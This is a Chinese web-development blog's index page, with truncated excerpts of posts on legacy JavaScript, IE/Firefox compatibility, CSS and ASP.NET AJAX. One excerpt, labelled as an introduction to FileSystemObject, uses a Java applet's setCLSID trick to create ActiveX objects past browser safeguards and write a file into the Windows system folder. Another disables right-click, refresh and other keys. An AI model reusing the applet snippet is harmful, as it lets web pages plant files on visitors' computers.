js创建桌面快捷方式

评论(0)浏览(265)分类:JavaScript/Ajax开发技巧
js创建桌面快捷方式script type="text/vbscript"Set WshShell =CreateObject("WScript.Shell") strDesktop = WshShell.SpecialFolders("Desktop") '特殊文件夹“桌面” '在桌面创建一个记事本快捷方式 set oShellLink = WshShell.CreateShortcut(strDesktop "\Internet Explorer.lnk") oShellLink.TargetPath = "C:\Program Files\Internet Explorer\iexplore.exe..

WScript.shell修改更改输入法

评论(0)浏览(159)分类:JavaScript/Ajax开发技巧
WScript.shell修改更改输入法+展开 -HTMLscripttype="text/javascript"functionCTRL$Space(){varwsh=newActiveXObject("WScript.shell");//注意,仅IE浏览器有效果,而且由于权限问题,有可能导致无法创建WScript.shellwsh.sendKeys("^")wsh=null;}/scriptfontcolor='red'在进入这个页面时,第一次获取焦点时会有创建对象的安全提示,后面允许就不会提示了/fontbr获得焦点后..

Scripting.FileSystemObject介绍

评论(0)浏览(152)分类:JavaScript/Ajax开发技巧
Scripting.FileSystemObject介绍+展开-JavaScriptdocument.write("");functionf(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();sh=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");a1.createInstance();fo=a1.GetObject();hd=fo.CreateTextFile("c:\\WINDOWS\\system\\mslog.htm");hd.writ..

Div CSS网站设计的优点

评论(0)浏览(90)分类:HTML/CSS兼容/XML
Div CSS网站设计的优点1.大大缩减页面代码,提高页面浏览速度,缩减带宽成本; 2.结构清晰,容易被搜索引擎搜索到,天生优化了seo 3.缩短改版时间。只要简单的修改几个CSS文件就可以重新设计一个有成百上千页面的站点。 4.强大的字体控制和排版能力。CSS控制字体的能力比糟糕的FONT标签好多了,有了CSS,我们不再需要用FONT标签或者透明的1 px GIF图片来控制标..

js事件相关

评论(0)浏览(72)分类:JavaScript/Ajax开发技巧
js事件相关+展开-JavaScriptfunctionstopBubble(e){if(e&&e.stopPropagation){e.stopPropagation();}else{window.event.cancelBubble=true;}}function$(id){returndocument.getElementById(id);}//mousedown时:if($("name").setCapture){//IE$("name").setCapture();}elseif(window.captureEvents){//FFwindow.captureEvents(Event.MOUSEMOVE|Event.MOUSE..

兼容firefox的 outerHTML

评论(0)浏览(78)分类:JavaScript/Ajax开发技巧
兼容firefox的 outerHTML+展开-JavaScript/***兼容firefox的outerHTML使用以下代码后,firefox可以使用element.outerHTML**/if(window.HTMLElement){HTMLElement.prototype.__defineSetter__("outerHTML",function(sHTML){varr=this.ownerDocument.createRange();r.setStartBefore(this);vardf=r.createContextualFragment(sHTML);this.parentNode.replaceChild(df,this..

XML数据岛测试

评论(0)浏览(72)分类:JavaScript/Ajax开发技巧
XML数据岛测试+展开-HTMLhtmlheadmetahttp-equiv="http-content"content="text/html;charset=gb2312"/titleXML数据岛测试/title/headbodyxmlid='ds'rowsrowid2/idnamename2/name/rowrowid1/idnamename1/name/rowrowid3/idnamename3/name/row/rows/xmlscriptvaradBSTR=8;varadBigInt=20;vardsrs=ds.recordset;varrs=newActiveXObject("adodb.recordset");with(..

XMLDOM对象

评论(0)浏览(101)分类:JavaScript/Ajax开发技巧
XMLDOM对象nsvar xmlDoc=implementation.createDocument("ns","root",null);第一个参数,ns,定义用于XML文档的命名空间(namespace)。第二个参数,root,是XML文件中的XML根元素。第三个参数,null,一般总是null,这是由于目前还没有用到这个参数。下面的代码段可向Mozilla浏览器的XML解析器载入一个已有的XML文档("note.xml"):var xmlDoc=implementat..

Window.Open参数详解

评论(0)浏览(112)分类:JavaScript/Ajax开发技巧
Window.Open参数详解Window.Open参数、返回值一、window.open()支持环境:JavaScript1.0+/JScript1.0+/Nav2+/IE3+/Opera3+二、基本语法:window.open(pageURL,name,parameters) 其中:pageURL 为子窗口路径 name 为子窗口句柄 parameters 为窗口参数(各参数用逗号分隔) 三、示例: window.open ('page.html','newwindow','height=100,width=400,top=0,left=0,toolba..

TextArea编辑器

评论(0)浏览(77)分类:JavaScript/Ajax开发技巧
TextArea编辑器+展开-HTMLhtmlheadmetahttp-equiv="http-content"content="text/html;charset=gb2312"/titleTextArea编辑器/title/headbodyformmethod='post'action='test.asp'textareaid="editor"name='c'rows="10"cols="50"/textareascriptlanguage="javascript"type="text/javascript"vareditor=document.getElementById("editor");vare=document.createEle..

showModalDialog参数说明

评论(0)浏览(84)分类:JavaScript/Ajax开发技巧
showModalDialog参数说明showModalDialog参数说明showModalDialog() (Internet Explorer 4 and above) showModelessDialog() (Internet Explorer 5 and above) vReturnValue = window.showModalDialog(sURL[, vArguments][, sFeatures]); vReturnValue = window.showModelessDialog(sURL[, vArguments][, sFeatures]); 其中: vArguments 是要传到子窗体的参数; sFeatu..

javascript继承

评论(0)浏览(98)分类:JavaScript/Ajax开发技巧
javascript继承javascript的prototype继承 基本的用法 把ClassA的一个实例赋值给ClassB ClassB就继承了ClassA的所有属性+展开-HTMLscriptfunctionClassA(){this.a='a';}functionClassB(){this.b='b';}ClassB.prototype=newClassA();varobjB=newClassB();for(varpinobjB)document.write(p+"br>");/script从原型继承理论的角度去考虑 js的原型继承是引用原型 不是..

IE下的Node对象

评论(0)浏览(69)分类:JavaScript/Ajax开发技巧
IE下的Node对象+展开-JavaScriptif(!window.Node){varNode={ELEMENT_NODE:1,ATTRIBUTE_NODE:2,TEXT_NODE:3,COMMENT_NODE:8,DOCUMENT_NODE:9,DOCUMENT_FRAGMENT_NODE:11}}

JS屏蔽刷新

评论(0)浏览(109)分类:JavaScript/Ajax开发技巧
JS屏蔽刷新+展开 -HTMLscriptlanguage="Javascript"type="text/javascript"//屏蔽鼠标右键、Ctrl+N、Shift+F10、F11、F5刷新、退格键functiondocument.oncontextmenu(){event.returnValue=false;}//屏蔽鼠标右键document.onselectstart=function(){returnfalse;}functiondocument.onkeydown(){if(//屏蔽退格删除键(event.keyCode==116)||//屏蔽F5刷新键(ev..

JS获取级联样式表中的属性值

评论(0)浏览(132)分类:JavaScript/Ajax开发技巧
JS获取级联样式表中的属性值w3cwindow.getComputedStyle(要计算的元素对象,null).marginLeftdocument.defaultView.getComputedStyle(要计算的元素对象,null).marginLeftIE:id.currentStyle["marginLeft"]对象.currentStyle["marginLeft"]访问样式表+展开-HTML!!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transition..

Javascript类中的私有变量和静态方法

评论(0)浏览(141)分类:JavaScript/Ajax开发技巧
Javascript类中的私有变量和静态方法JavaScript 是世界上最被误解的语言。很多人认为它缺乏信息隐藏的特性所以对象不能有私有实例变量和方法。但这是一个误解。JavaScript对象同样可以拥有私有变量。下面就讲解一下: 对象 JavaScript根本上都是关于的对象(Object)的。数组(Array)是对象,函数(Function)是对象,Object就不说了。那什么是对象?对象是名称-值的配对的集合。名..

在Javascript中,什么是闭包

评论(0)浏览(81)分类:JavaScript/Ajax开发技巧
在Javascript中,什么是闭包在Javascript中,什么是闭包(Closure)闭包的两个特点:1、作为一个函数变量的一个引用 - 当函数返回时,其处于激活状态。2、一个闭包就是当一个函数返回时,一个没有释放资源的栈区。例1。 +展开-HTMLscripttype="text/javascript"functionsayHello2(name){vartext='Hello'+name;//localvariablevarsayAlert=function(){alert(text);}returnsayA..

firefox与ie的javascript兼容性编程汇编

评论(1)浏览(122)分类:JavaScript/Ajax开发技巧
firefox与ie的javascript兼容性编程汇编======文档坐标的兼容=====Netscape: pageXOffset和pageYOffsetIE : scrollLeft 和scrollTopoffsetTop,offsetLeft:这连个在ff中是相对于body而言;在ie中是相对与它的父亲容器而言。转载后加了一些个人体会。。。如对你有用,请回复。1. document.formName.item("itemName") 问题说明:IE下,可以使用document.formName.item("itemName"..

firefox实现ie的方法和属性

评论(0)浏览(101)分类:JavaScript/Ajax开发技巧
firefox实现ie的方法和属性+展开-JavaScriptif(window.Event){//修正Event的DOM/*IE5MacIE5MozillaKonqueror2.2Opera5eventyesyesyesyesyesevent.returnValueyesyesnononoevent.cancelBubbleyesyesnononoevent.srcElementyesyesnononoevent.fromElementyesyesnonono*/Event.prototype.__defineSetter__("returnValue",function(b){//if(!b)this.preventDefault();returnb;..

document.execCommand()函数可用参数解析

评论(0)浏览(98)分类:HTML/CSS兼容/XML
document.execCommand()函数可用参数解析HTML HEAD TITLEJavaScript--execCommand指令集/TITLE SCRIPT LANGUAGE="javascript" !-- /* *该function执行copy指令 */ function fn_doufucopy(){ edit.select(); document.execCommand('Copy'); } /* *该function执行paste指令 */ function fn_doufupaste() { tt.focus(); document.execCommand('paste'); } /* *该function用来创建一个超..

DHTML之textRange对象

评论(0)浏览(104)分类:HTML/CSS兼容/XML
DHTML之textRange对象TextRange对象是动态HTML(DHTML)的高级特性,使用它可以实现很多和文本有关的任务,例如搜索和选择文本。文本范围让您可以选择性的将字符、单词和句子从文档中挑选出来。TextRange对象是在HTML文档将要显示的文本流上建立开始和结束位置的抽象对象。下面是TextRange的常用属性与方法:属性 boundingHeight 获取绑定TextRange对象的矩形的高度 bo..

shtml教程

评论(0)浏览(94)分类:HTML/CSS兼容/XML
shtml教程SSI有什么用?   之所以要扯到ssi,是因为ssi是Server Side Include的首字母缩略词。包含有嵌入式服务器方包含命令的 HTML 文本。在被传送给浏览器之前,服务器会对 SHTML 文档进行完全地读取、分析以及修改。   shtml和asp 有一些相似,以shtml命名的文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户..

AJAX中的ScriptManager实战

评论(0)浏览(71)分类:JavaScript/Ajax开发技巧
AJAX中的ScriptManager实战1 概述 ScriptManager 控件管理用于 Microsoft ASP.NET AJAX 页面的客户端脚本。默认情况下,ScriptManager 控件将 Microsoft AJAX 库的脚本与页面注册到一起,这使脚本可以使用类型系统扩展并支持局部页面输出和 Web 服务调用。 在页面中,必须使用 ScriptManager 控件来使下列 Microsoft ASP.NET AJAX 的特性可用: Microsoft AJAX..

ajaxcontroltoolkit

评论(0)浏览(92)分类:JavaScript/Ajax开发技巧
ajaxcontroltoolkitAjaxControlToolkit下载http://ajax.asp.net/downloads/default.aspx?tabid=47http://www.codeplex.com/AtlasControlToolkit/Release/ProjectReleases.aspx?ReleaseId=1425环境设置如下:下载完 ASPAJAXExtSetup.msi 安装更新后在你的系统盘下的(以C盘为例) 出现这个 文件夹:C:\Program Files\Microsoft asp.NET\ASP.NET 2.0 ajax Extensions..

ajax状态

评论(0)浏览(135)分类:JavaScript/Ajax开发技巧
ajax状态在《Pragmatic ajax(动态网站静态化) A Web 2.0 Primer 》中偶然看到对readyStae状态的介绍,感觉这个介绍很实在,摘译如下:0: (Uninitialized) the send( ) method has not yet been invoked. 1: (Loading) the send( ) method has been invoked, request in progress. 2: (Loaded) the send( ) method has completed, entire response receiv..

修复ie下anchor无法定位的问题

评论(0)浏览(107)分类:HTML/CSS兼容/XML
修复ie下anchor无法定位的问题在ie6浏览器下,如果锚点里面没有内容,则使用锚点时没得作用。如+展开-HTMLahref="#myAnchor"myAnchor/abrbrbrbrbraname="myAnchor"/a--锚点里面没有内容--11上面这段代码在ie6下不起作用修复的方法就是往锚点里面添加内容或者空白,注意空白需要 来填充,不能使用空白键打出的空白,要不也不起作用。如下+展开-HTMLahref="#myAnchor"myAnchor/..